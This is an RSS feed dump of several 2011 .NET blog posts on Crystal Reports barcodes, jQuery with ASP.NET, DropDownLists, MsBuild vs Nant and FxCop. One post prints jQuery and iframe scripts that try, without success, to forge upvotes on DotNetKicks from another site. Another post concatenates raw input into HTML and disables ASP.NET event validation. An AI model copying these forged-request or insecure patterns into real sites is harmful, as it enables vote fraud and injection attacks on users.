&lt;p&gt;In the example above I am using the Open Source code found in this article on &lt;a href="http://www.codeproject.com/KB/GDI-plus/GenCode128.aspx" target="_blank"&gt;CodeProject&lt;/a&gt;.&amp;#160; If you need to use a different barcode I suggest using either the Barcode Rendering Framework found on CodePlex &lt;a title="http://barcoderender.codeplex.com/" href="http://barcoderender.codeplex.com/"&gt;http://barcoderender.codeplex.com/&lt;/a&gt; or using ItextSharp.&amp;#160;&amp;#160; I used all three and preferred the code from CodeProject though it only implements Code 128 where as the other libraries implement most all barcode symbols.&lt;/p&gt;

&lt;p&gt;If you use the code snippet above your image will come across in Crystal Reports as a blob field.&amp;#160; You must set the property of "Can Grow" or else you will find Crystal Reports adjusting the size of your image which will make it unreadable.&amp;#160; &lt;/p&gt;

&lt;p&gt;Oh and if the article helped you vote it up and try visiting a sponsor.&lt;/p&gt;</description><pubDate>Wed, 01 Jun 2011 23:10:30 GMT</pubDate><guid isPermaLink="true">http://blog.runxc.com:80/Printing-Barcodes-with-Crystal-Reports-Examples-in-Net-C</guid></item><item><title>XSS by Example (Cross Site Scripting)</title><link>http://blog.runxc.com:80/XSS-by-Example-(Cross-Site-Scripting)</link><description>&lt;p&gt;So lately I have been reading "ASP.NET MVC Pro" and when I read the chapter about security (written by Rob Conery ) I was intrigued by the XSS examples that were in the book and thought to myself that I should give XSS a try.&amp;#160;&amp;#160; &lt;/p&gt;  &lt;p&gt;Wikipedia has the following excerpt about Cross-site scripting&lt;/p&gt;  &lt;p&gt;"The term &amp;quot;cross-site scripting&amp;quot; originated from the fact that a malicious web site could load another web site into another frame or window, then use JavaScript to read/write data on the other web site. Over time the definition changed to mean the injection of HTML/JavaScript into a web page, which may be confusing because the name is no longer an accurate description of the current definition."&lt;/p&gt;  &lt;p&gt;Now I am not a malicious person so I didn't have any desire to inject JavaScript into some existing site but I was a bit curious as to how easy it is to manipulate one website via JavaScript from another web site.&amp;#160;&amp;#160; As I like to use DotNetKicks (I also check DotNetShoutOut but was on DotNetKicks when the idea came to me) I decided to see just how easy it would be to Kick my story from my own website rather than having a user leave my site to go to DotNetKicks to kick my story.&lt;/p&gt;  &lt;h2&gt;Step 1 Inspect the Request and Response.&lt;/h2&gt;  &lt;p&gt;So the first step would be to see what the site expected when a story was kicked.&amp;#160; As I was already at DotNetKicks I read a couple stories and found one that I liked and kicked it.&amp;#160;&amp;#160; Inspecting the response with FireBug I saw the following.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://blog.runxc.com/image.axd?picture=dnkParams.png"&gt;&lt;img title="dnkParams" style="border-top-width: 0px; display: inline; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="89" alt="dnkParams" src="http://blog.runxc.com/image.axd?picture=dnkParams_thumb.png" width="643" border="0" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;And for the Headers I saw the following&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;a href="http://blog.runxc.com/image.axd?picture=dnkHeaders.png"&gt;&lt;img title="dnkHeaders" style="border-top-width: 0px; display: inline; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="730" alt="dnkHeaders" src="http://blog.runxc.com/image.axd?picture=dnkHeaders_thumb.png" width="634" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;Looking at the Headers and the Post values it is very evident that they are using&amp;#160; an Ajax request with a response type of Json.&amp;#160;&amp;#160; As they are using Ajax it is very easy to see what JavaScript they are using to create the request.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://blog.runxc.com/image.axd?picture=dnkArgsDef.png"&gt;&lt;img title="dnkArgsDef" style="border-top-width: 0px; display: inline; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="110" alt="dnkArgsDef" src="http://blog.runxc.com/image.axd?picture=dnkArgsDef_thumb.png" width="654" border="0" /&gt;&lt;/a&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;Now if you look at the headers the "Referer" does have me a bit worried as they might be able to see where the request is coming from but hey I would really like a lot of Kicks so I decided to press on with my quest.&lt;/p&gt;  &lt;h2&gt;Step 2 Writing some JavaScript to see if it works.&lt;/h2&gt;  &lt;p&gt;Trial 1.&lt;/p&gt;  &lt;p&gt;I first decided to see if I could just make an ajax post request passing in the same variables.&amp;#160; The following is the write up in the simplest form.&lt;/p&gt;  &lt;div class="wlWriterEditableSmartContent" id="scid:812469c5-0cb0-4c63-8c15-c81123a09de7:e7d0544d-44c7-468f-8f1c-c6ee6f406b62" style="padding-right: 0px; display: inline; padding-left: 0px; float: none; padding-bottom: 0px; margin: 0px; padding-top: 0px"&gt;&lt;pre name="code" class="xml"&gt;&amp;lt;html xmlns="http://www.w3.org/1999/xhtml"&amp;gt;
&amp;lt;head runat="server"&amp;gt;
    &amp;lt;title&amp;gt;&amp;lt;/title&amp;gt;

    &amp;lt;script type="text/javascript" 
    src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"&amp;gt;&amp;lt;/script&amp;gt;
    &amp;lt;script type="text/javascript"&amp;gt;
        $.post('http://dotnetkicks.com/services/ajax/ajaxservices.ashx',
             { id: 1, method: 'kickStory', params: [41965, true] },
              function(response) { alert(response); },'json');
    &amp;lt;/script&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;form id="form1" runat="server"&amp;gt;
    &amp;lt;div&amp;gt;
   
    &amp;lt;/div&amp;gt;
    &amp;lt;/form&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&amp;#160;&lt;/p&gt;

&lt;p&gt;Okay so what was the response??&amp;#160; Well it ends up that Firefox and other browsers see this request to a different domain namely dotnetkicks.com as a security threat and issue the following warning.&lt;/p&gt;

&lt;h4&gt;Access to restricted URI denied (NS_ERROR_DOM_BAD_URI)&lt;/h4&gt;

&lt;p&gt;&amp;#160;&lt;/p&gt;

&lt;p&gt;Okay so that doesn't work what about loading dotnetkicks in an iframe on the page (I could use some css to hide it or something). &lt;/p&gt;

&lt;h2&gt;Trial 2&lt;/h2&gt;

&lt;p&gt;Here is an iframe example in its simplest&lt;/p&gt;

&lt;div class="wlWriterEditableSmartContent" id="scid:812469c5-0cb0-4c63-8c15-c81123a09de7:8dbb0ca4-bca1-4ee8-9e4b-cee5e32d35a4" style="padding-right: 0px; display: inline; padding-left: 0px; float: none; padding-bottom: 0px; margin: 0px; padding-top: 0px"&gt;&lt;pre name="code" class="xml"&gt;&amp;lt;html xmlns="http://www.w3.org/1999/xhtml"&amp;gt;
&amp;lt;head runat="server"&amp;gt;
    &amp;lt;title&amp;gt;&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body onload="javascript:kick();"&amp;gt;
    &amp;lt;form id="form1" runat="server"&amp;gt;
    &amp;lt;div&amp;gt;
    &amp;lt;iframe id="dnk" name="dnk" src="http://www.dotnetkicks.com" &amp;gt;&amp;lt;/iframe&amp;gt;
    &amp;lt;/div&amp;gt;
    &amp;lt;/form&amp;gt;
     &amp;lt;script type="text/javascript"&amp;gt;
         function kick() {
             var dnk = window.frames.dnk;
             dnk.KickIt(41977, true);
         }
    &amp;lt;/script&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&amp;#160;&lt;/p&gt;

&lt;p&gt;Okay so I thought this time it might work a little better but once again I got a security warning in Firefox and IE.&lt;/p&gt;

&lt;h4&gt;&lt;/h4&gt;

&lt;h4&gt;Permission denied to get property Window.KickIt&lt;/h4&gt;

&lt;p&gt;&amp;#160;&lt;/p&gt;

&lt;p&gt;Once again the error is due to the fact that the iframe does not share the same domain.&amp;#160;&amp;#160; After some more testing the only cross site request that I was able to perform was a get request with a data type of jsonp using jQuery.&amp;#160;&amp;#160; &lt;/p&gt;

&lt;h2&gt;Moral of the story&lt;/h2&gt;

&lt;p&gt;XSS is not as easy as it sounds, that and you should always differentiate between a get and post request.&amp;#160; &lt;/p&gt;

&lt;h2&gt;Feedback&lt;/h2&gt;

&lt;p&gt;If you know how I could have gotten it to work shoot me an Email or leave a comment and I will give it a try and update the post&lt;/p&gt;</description><pubDate>Wed, 01 Jun 2011 23:10:30 GMT</pubDate><guid isPermaLink="true">http://blog.runxc.com:80/XSS-by-Example-(Cross-Site-Scripting)</guid></item><item><title>jQuery with Asp.Net, couldn?t get any easier.</title><link>http://blog.runxc.com:80/jQuery-with-AspNet-couldne28099t-get-any-easier</link><description>&lt;p&gt;jQuery is every Asp.Net web applications best friend.&amp;#160; I am going to show you the easies way to interact with an Asp.Net page using JSON.&amp;#160; JSON (JavaScript Object Notation) allows you to pass objects between .Net and Javascript.&amp;#160;&amp;#160; If you are using .Net 3.5 then you have JSON serialization of your objects on the .Net side covered.&amp;#160; If you are using a version of .Net prior to that I recommend you look at &lt;a href="http://james.newtonking.com/projects/json-net.aspx" target="_blank"&gt;Json.net&lt;/a&gt;. &lt;/p&gt;  &lt;p&gt;Calling the server from the clients page using jQuery with a great plug-in called &lt;a href="http://schotime.net/jMsAjax.aspx" target="_blank"&gt;jmsajax (jQuery Microsoft Ajax)&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;&lt;/p&gt;  &lt;div class="wlWriterEditableSmartContent" id="scid:812469c5-0cb0-4c63-8c15-c81123a09de7:7f1a9ae9-d287-48d5-8e65-e2362167d938" style="padding-right: 0px; display: inline; padding-left: 0px; float: none; padding-bottom: 0px; margin: 0px; padding-top: 0px"&gt;&lt;pre name="code" class="js"&gt;$.jmsajax({
   type: "POST",
   url: "Default.aspx",
   method: "UpdateSomething",
   dataType: "msjson",
   data: {Id:"text", name: "someName"},
   success: function(result) {
    if(result.Error)
    {
        page.someDiv.html(result.Message);
    }
    else
    {
        page.otherDiv.html("Something Successfully Saved");
    }
   }
});&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;/p&gt;

&lt;p&gt;Jmsajax fixes some issues with using jQuery with Asp.net.&amp;#160; The most important issue to note is that it corrects an issue with passing dates back and forth between Asp.net and JavaScript&lt;/p&gt;

&lt;h2&gt;The Server Side Web Method used to create and return our POCO as JSON&lt;/h2&gt;

&lt;p&gt;&amp;#160;&lt;/p&gt;

&lt;div class="wlWriterEditableSmartContent" id="scid:812469c5-0cb0-4c63-8c15-c81123a09de7:8ede96a1-e735-4d0d-afcf-7cd72abf6a84" style="padding-right: 0px; display: inline; padding-left: 0px; float: none; padding-bottom: 0px; margin: 0px; padding-top: 0px"&gt;&lt;pre name="code" class="c#"&gt; [WebMethod(true)]
public static Result UpdateSomething(string Id, string name)
{
    Result result = new Result();
    result.Error = false;
    result.Message = "The Cost Per Unit must be filled out";
    return result;
}&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&amp;#160;&lt;/p&gt;

&lt;p&gt;And there you go now you can call a method on the page behind from JavaScript.&amp;#160; Now go and add some Ajax functionality to your web sites.&lt;/p&gt;</description><pubDate>Wed, 01 Jun 2011 23:10:30 GMT</pubDate><guid isPermaLink="true">http://blog.runxc.com:80/jQuery-with-AspNet-couldne28099t-get-any-easier</guid></item><item><title>Using jQuery to add values to a DropDownList and overcoming ASP.NET</title><link>http://blog.runxc.com:80/Using-jQuery-to-add-values-to-a-DropDownList-and-overcoming-ASPNET</link><description>&lt;p&gt;OK so here is the scenario,&amp;#160; you have a data bound control, plain old vanilla DropDownList that is bound to a DataReader.&amp;#160; What you need to do is add values to the dropdown list from JavaScript and then retrieve the new value on the code behind after the user submits the form.&lt;/p&gt;  &lt;h2&gt;Part 1- jQuery Goodness&lt;/h2&gt;  &lt;p&gt;Adding the item to the DropDownList (now we are on the html side so we need to think in terms of html namely the &amp;lt;select&amp;gt; tag.)&amp;#160; I mean adding the item to the select list is easy. &lt;/p&gt;  &lt;p&gt;ASPX markup&lt;/p&gt;  &lt;div class="wlWriterEditableSmartContent" id="scid:812469c5-0cb0-4c63-8c15-c81123a09de7:e4a6fb97-8b8c-4894-9241-3202e25574d6" style="padding-right: 0px; display: inline; padding-left: 0px; float: none; padding-bottom: 0px; margin: 0px; padding-top: 0px"&gt;&lt;pre name="code" class="xml"&gt;&amp;lt;label&amp;gt;My Drop Down List&amp;lt;/label&amp;gt;
&amp;lt;asp:DropDownList runat="server" ID="ddlMyDropDown" CssClass="ddlMyDropDown" &amp;gt;&amp;lt;/asp:DropDownList&amp;gt;
&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
&amp;lt;input type="text" id="addToDropDown" class="addToDropDown" /&amp;gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&amp;#160;&lt;/p&gt;

&lt;p&gt;jQuery code that will add the value from the text box to the drop down and select the newly added value&lt;/p&gt;

&lt;p&gt;
  &lt;div class="wlWriterEditableSmartContent" id="scid:812469c5-0cb0-4c63-8c15-c81123a09de7:d09d9fcc-b19b-4c55-8d80-4c7d447b8f2b" style="padding-right: 0px; display: inline; padding-left: 0px; float: none; padding-bottom: 0px; margin: 0px; padding-top: 0px"&gt;&lt;pre name="code" class="js"&gt;// first lets un-select any items that have been selected
$("select.ddlMyDropDown option:selected").removeAttr("selected");
var addvalue=$("#addToDropDown").val(); 
$("select.ddlMyDropDown").prepend('&amp;lt;option selected="selected" value="' + addvalue + '"&amp;gt;' + addvalue+ '&amp;lt;/option&amp;gt;');&lt;/pre&gt;&lt;/div&gt;
&lt;/p&gt;

&lt;p&gt;As a note you will notice that I am using the class to select the DropDownList(I mean the html select).&amp;#160; I am doing this because I am assuming that you are going to use a MasterPage which is an INamingContainer that will mess with your id's.&amp;#160; (This is one of the reasons that jQuery rocks if you know your CSS 3 selectors
  &lt;br /&gt;you will be able to select virtually anything on the page with jQuery and manipulate it as needed)&lt;/p&gt;

&lt;h2&gt;ASP.NET Tweaks&lt;/h2&gt;

&lt;p&gt;Ok so now on the server side this is where it gets a bit tricky. You first need to un-enable Validation which is a &amp;quot;feature&amp;quot; of .Net 2.0+ namely whenever you use databinding with a DropDownList all the values are added to ViewState so that ASP.NET knows what values are valid in the drop down list.&lt;/p&gt;

&lt;div class="wlWriterEditableSmartContent" id="scid:812469c5-0cb0-4c63-8c15-c81123a09de7:927d4c63-802e-4319-83b7-4a613671cb26" style="padding-right: 0px; display: inline; padding-left: 0px; float: none; padding-bottom: 0px; margin: 0px; padding-top: 0px"&gt;&lt;pre name="code" class="xml"&gt;&amp;lt;pages enableEventValidation="false"&amp;gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&amp;#160;&lt;/p&gt;

&lt;p&gt;The next gotcha is the same as before only different.&amp;#160; So by disabling Event Validation we are no longer going to get an error screen at the time of the post back but we still can't retrieve the value via the SelectedValue property of the control.&amp;#160; Instead we need to grab the value from the Form.&lt;/p&gt;

&lt;p&gt;
  &lt;div class="wlWriterEditableSmartContent" id="scid:812469c5-0cb0-4c63-8c15-c81123a09de7:cada3440-3bfd-424e-9060-a5314f54337d" style="padding-right: 0px; display: inline; padding-left: 0px; float: none; padding-bottom: 0px; margin: 0px; padding-top: 0px"&gt;&lt;pre name="code" class="c#"&gt;// this won't work ddlMyDropDown.SelectedValue
string selected = Request.Form[ddlMyDropDown.UniqueID];&lt;/pre&gt;&lt;/div&gt;
&lt;/p&gt;

&lt;p&gt;You probably know this but just as a reminder.&amp;#160; The &amp;quot;UniqueID&amp;quot; of a control in the html world is the &amp;quot;name&amp;quot; property and the ClientID is the &amp;quot;id&amp;quot; property of the html, when retrieving values from the Form you need to use the name of the html element hence why we used the UniqueID..&lt;/p&gt;</description><pubDate>Wed, 01 Jun 2011 23:10:30 GMT</pubDate><guid isPermaLink="true">http://blog.runxc.com:80/Using-jQuery-to-add-values-to-a-DropDownList-and-overcoming-ASPNET</guid></item><item><title>MsBuild vs Nant</title><link>http://blog.runxc.com:80/MsBuild-vs-Nant</link><description>&lt;p&gt;-Brief overview&lt;/p&gt;  &lt;p&gt;Nant ? Nant comes from the makers on Ant which is one of the build provider of Java.&amp;#160; The&amp;#160; current version of Nant&amp;#160; (0.86) has been in beta since December of 2007. Nant is an XML based build tool.&lt;/p&gt;  &lt;p&gt;MsBuild- MsBuild is Microsoft's build tool and is built into Visual Studio.&amp;#160;&amp;#160; Visual Studio 2005 and 2008 project files are in fact MsBuild files and can be used to build your project (solution files are not MsBuild files but can be used with MsBuild as they point to all of the necessary projects and indicate in what order they need to be built).&amp;#160; MsBuild is also an XML based build tool.&lt;/p&gt;  &lt;h2&gt;Which one should I use?&lt;/h2&gt;  &lt;p&gt;Well the answer is it depends?.&amp;#160; Nant has been around much longer and supports Visual Studio 2003 and 2005 project formats as well as .Net v1.1.&amp;#160;&amp;#160; Since Nant has been around a lot longer you are most likely going to find more blog documentation on Nant and if lucky you might find someone on your team that is familiar with Nant.&amp;#160; &lt;/p&gt;  &lt;p&gt;The problem with Nant is that it is dead in many ways.&amp;#160; For starters it has been in beta for about the last year and half.&amp;#160; I tried using the beta and received multiple errors when I tried to run the beta on a Windows Server 2003 x64 machine.&amp;#160;&amp;#160; I ended up having to download a nightly build to get Nant to work on a 64 bit machine.&amp;#160;&amp;#160; Nant does not recognize Visual Studio 2008 project files so if you are using the latest version of Visual Studio then you will need to build your project by executing a command line call to?. yup you guessed it MsBuild.&lt;/p&gt;  &lt;p&gt;MsBuild is a little bit newer on the scene and does not suffer from the Beta issues that you will find with Nant (it runs on anything .Net runs on).&amp;#160; One of the largest advantages to using MsBuild is that it builds your project/solution in the same way that Visual Studio does.&amp;#160;&amp;#160; One of MsBuild?s noted shortcomings are the lack of features that it provides( an example would be SVN checkout ).&amp;#160;&amp;#160; This however can easily be overcome with the help of the &lt;a href="http://msbuildtasks.tigris.org/" target="_blank"&gt;MsBuild Community Project&lt;/a&gt;. &lt;/p&gt;  &lt;h2&gt;The New Comer has Momentum&lt;/h2&gt;  &lt;p&gt;If you are working with .Net 1.1 apps and using Visual Studio 2003 you are most likely going to want to stick with Nant as MsBuild does not support .Net 1.1 (though there is a toolkit on Codeplex which gives .Net 1.1 support to MsBuild &lt;a href="http://www.codeplex.com/Release/ProjectReleases.aspx?ProjectName=MSBee&amp;amp;ReleaseId=18" target="_blank"&gt;found here&lt;/a&gt;).&amp;#160; If you are targeting .Net 2+ using or switching to MsBuild is probably the way to go as all the major .Net IDEs support MsBuild. Sharpdevelop fully supports MsBuild 3.5 and as of version 2.0 MonoDevelop is now using MsBuild as its default project format and in the next version of Mono will be releasing a first gen MsBuild equivalent for Mono so that you can build your project in the same way.&lt;/p&gt;  &lt;h2&gt;Where is the code?&lt;/h2&gt;  &lt;p&gt;I am not a big fan of code articles without code so here is a basic MsBuild example to help you get started.&amp;#160; As a bonus I have shown how to use Gallio to execute test cases as Gallio can run NUnit, XUnit, MbUnit, CsUnit and MsTest.&lt;/p&gt;  &lt;div class="csharpcode"&gt;   &lt;pre class="alt"&gt;&lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;Project&lt;/span&gt; &lt;span class="attr"&gt;DefaultTargets&lt;/span&gt;&lt;span class="kwrd"&gt;=&amp;quot;RunTests&amp;quot;&lt;/span&gt;&lt;/pre&gt;

  &lt;pre&gt;&lt;span class="attr"&gt;xmlns&lt;/span&gt;&lt;span class="kwrd"&gt;=&amp;quot;http://schemas.microsoft.com/developer/msbuild/2003&amp;quot;&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;

  &lt;pre class="alt"&gt;    &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;Import&lt;/span&gt; &lt;/pre&gt;

  &lt;pre&gt;    &lt;span class="attr"&gt;Project&lt;/span&gt;&lt;span class="kwrd"&gt;=&amp;quot;C:\Tools\MSBuild.Community.Tasks.v1.2.0.306\Build\MSBuild.Community.Tasks.Targets&amp;quot;&lt;/span&gt;&lt;span class="kwrd"&gt;/&amp;gt;&lt;/span&gt;&lt;/pre&gt;

  &lt;pre class="alt"&gt;    &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;UsingTask&lt;/span&gt; &lt;span class="attr"&gt;AssemblyFile&lt;/span&gt;&lt;span class="kwrd"&gt;=&amp;quot;C:\Tools\Gallio3.06\bin\Gallio.MSBuildTasks.dll&amp;quot;&lt;/span&gt; &lt;/pre&gt;

  &lt;pre&gt;    &lt;span class="attr"&gt;TaskName&lt;/span&gt;&lt;span class="kwrd"&gt;=&amp;quot;Gallio&amp;quot;&lt;/span&gt; &lt;span class="kwrd"&gt;/&amp;gt;&lt;/span&gt;&lt;/pre&gt;

  &lt;pre class="alt"&gt;     &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;ItemGroup&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;

  &lt;pre&gt;        &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;TestAssemblies&lt;/span&gt; &lt;/pre&gt;

  &lt;pre class="alt"&gt;        &lt;span class="attr"&gt;Include&lt;/span&gt;&lt;span class="kwrd"&gt;=&amp;quot;$(MSBuildProjectDirectory)\MyProject\bin\Debug\MyProject.Test.dll&amp;quot;&lt;/span&gt; &lt;span class="kwrd"&gt;/&amp;gt;&lt;/span&gt;&lt;/pre&gt;

  &lt;pre&gt;    &lt;span class="kwrd"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="html"&gt;ItemGroup&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;

  &lt;pre class="alt"&gt;    &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;Target&lt;/span&gt; &lt;span class="attr"&gt;Name&lt;/span&gt;&lt;span class="kwrd"&gt;=&amp;quot;Compile&amp;quot;&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt; &lt;/pre&gt;

  &lt;pre&gt;        &lt;span class="rem"&gt;&amp;lt;!-- Rebuild entire solution --&amp;gt;&lt;/span&gt;&lt;/pre&gt;

  &lt;pre class="alt"&gt;        &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;MSBuild&lt;/span&gt; &lt;span class="attr"&gt;Projects&lt;/span&gt;&lt;span class="kwrd"&gt;=&amp;quot;MyProject.sln&amp;quot;&lt;/span&gt; &lt;span class="kwrd"&gt;/&amp;gt;&lt;/span&gt;&lt;/pre&gt;

  &lt;pre&gt;        &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;Delete&lt;/span&gt; &lt;span class="attr"&gt;Files&lt;/span&gt;&lt;span class="kwrd"&gt;=&amp;quot;$(MSBuildProjectDirectory)\Publish\bin\System.Data.SQLite.dll&amp;quot;&lt;/span&gt; &lt;/pre&gt;

  &lt;pre class="alt"&gt;        &lt;span class="attr"&gt;ContinueOnError&lt;/span&gt;&lt;span class="kwrd"&gt;=&amp;quot;true&amp;quot;&lt;/span&gt; &lt;span class="kwrd"&gt;/&amp;gt;&lt;/span&gt;&lt;/pre&gt;

  &lt;pre&gt;        &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;Delete&lt;/span&gt; &lt;span class="attr"&gt;Files&lt;/span&gt;&lt;span class="kwrd"&gt;=&amp;quot;$(MSBuildProjectDirectory)\Publish\bin\System.Data.SQLite.xml&amp;quot;&lt;/span&gt; &lt;/pre&gt;

  &lt;pre class="alt"&gt;        &lt;span class="attr"&gt;ContinueOnError&lt;/span&gt;&lt;span class="kwrd"&gt;=&amp;quot;true&amp;quot;&lt;/span&gt; &lt;span class="kwrd"&gt;/&amp;gt;&lt;/span&gt;&lt;/pre&gt;

  &lt;pre&gt;    &lt;span class="kwrd"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="html"&gt;Target&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;

  &lt;pre class="alt"&gt;    &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;Target&lt;/span&gt; &lt;span class="attr"&gt;Name&lt;/span&gt;&lt;span class="kwrd"&gt;=&amp;quot;RunTests&amp;quot;&lt;/span&gt; &lt;span class="attr"&gt;DependsOnTargets&lt;/span&gt;&lt;span class="kwrd"&gt;=&amp;quot;Compile&amp;quot;&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;

  &lt;pre&gt;        &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;Gallio&lt;/span&gt; &lt;span class="attr"&gt;IgnoreFailures&lt;/span&gt;&lt;span class="kwrd"&gt;=&amp;quot;true&amp;quot;&lt;/span&gt; &lt;span class="attr"&gt;Assemblies&lt;/span&gt;&lt;span class="kwrd"&gt;=&amp;quot;@(TestAssemblies)&amp;quot;&lt;/span&gt; &lt;/pre&gt;

  &lt;pre class="alt"&gt;        &lt;span class="attr"&gt;ReportDirectory&lt;/span&gt;&lt;span class="kwrd"&gt;=&amp;quot;$(CCNetLastBuildFolder)&amp;quot;&lt;/span&gt;&lt;/pre&gt;

  &lt;pre&gt;              &lt;span class="attr"&gt;reportNameFormat&lt;/span&gt;&lt;span class="kwrd"&gt;=&amp;quot;Test_XML_NAME&amp;quot;&lt;/span&gt;&lt;/pre&gt;

  &lt;pre class="alt"&gt;              &lt;span class="attr"&gt;ReportTypes&lt;/span&gt;&lt;span class="kwrd"&gt;=&amp;quot;Xml&amp;quot;&lt;/span&gt; &lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;

  &lt;pre&gt;        &lt;span class="rem"&gt;&amp;lt;!-- This tells MSBuild to store the output value of the task's &lt;/span&gt;&lt;/pre&gt;

  &lt;pre class="alt"&gt;&lt;span class="rem"&gt;        ExitCode property into the project's ExitCode property --&amp;gt;&lt;/span&gt;&lt;/pre&gt;

  &lt;pre&gt;            &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;Output&lt;/span&gt; &lt;span class="attr"&gt;TaskParameter&lt;/span&gt;&lt;span class="kwrd"&gt;=&amp;quot;ExitCode&amp;quot;&lt;/span&gt; &lt;span class="attr"&gt;PropertyName&lt;/span&gt;&lt;span class="kwrd"&gt;=&amp;quot;ExitCode&amp;quot;&lt;/span&gt;&lt;span class="kwrd"&gt;/&amp;gt;&lt;/span&gt;&lt;/pre&gt;

  &lt;pre class="alt"&gt;        &lt;span class="kwrd"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="html"&gt;Gallio&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;

  &lt;pre&gt;        &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;Error&lt;/span&gt; &lt;span class="attr"&gt;Text&lt;/span&gt;&lt;span class="kwrd"&gt;=&amp;quot;Tests execution failed&amp;quot;&lt;/span&gt; &lt;span class="attr"&gt;Condition&lt;/span&gt;&lt;span class="kwrd"&gt;=&amp;quot;'$(ExitCode)' != 0&amp;quot;&lt;/span&gt; &lt;span class="kwrd"&gt;/&amp;gt;&lt;/span&gt;&lt;/pre&gt;

  &lt;pre class="alt"&gt;    &lt;span class="kwrd"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="html"&gt;Target&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;

  &lt;pre&gt;&lt;span class="kwrd"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="html"&gt;Project&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;style type="text/css"&gt;
.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }&lt;/style&gt;

&lt;p&gt;-&lt;/p&gt;</description><pubDate>Wed, 01 Jun 2011 23:10:30 GMT</pubDate><guid isPermaLink="true">http://blog.runxc.com:80/MsBuild-vs-Nant</guid></item><item><title>Calling FxCop from MsBuild</title><link>http://blog.runxc.com:80/Calling-FxCop-from-MsBuild</link><description>&lt;p&gt;
It seems that everyone has been talking about TDD and setting up a Continuous Integration server.&amp;nbsp;&amp;nbsp; The goal is very simple.&amp;nbsp;&amp;nbsp; Build software in less time that is more robust and easier to maintain.&amp;nbsp;&amp;nbsp;&amp;nbsp; One or the tools that helps in this process is FxCop.&amp;nbsp; FxCop will inspect your compiled dll&amp;rsquo;s to ensure that they follow design rules and naming conventions that you specify.&amp;nbsp; FxCop interestingly enough was created by Microsoft internally to ensure that the .Net framework met their own guid lines.&amp;nbsp; FxCop has a GUI but it will also create an XML file that can be used by CruiseControl.net or most likely any other build server.&amp;nbsp; 
&lt;/p&gt;
&lt;p&gt;
Less talk and more code&amp;hellip;&amp;nbsp;&amp;nbsp; the following is an example of how to call fxcop from the command line. 
&lt;/p&gt;
&lt;div class="csharpcode"&gt;
&lt;pre class="alt"&gt;
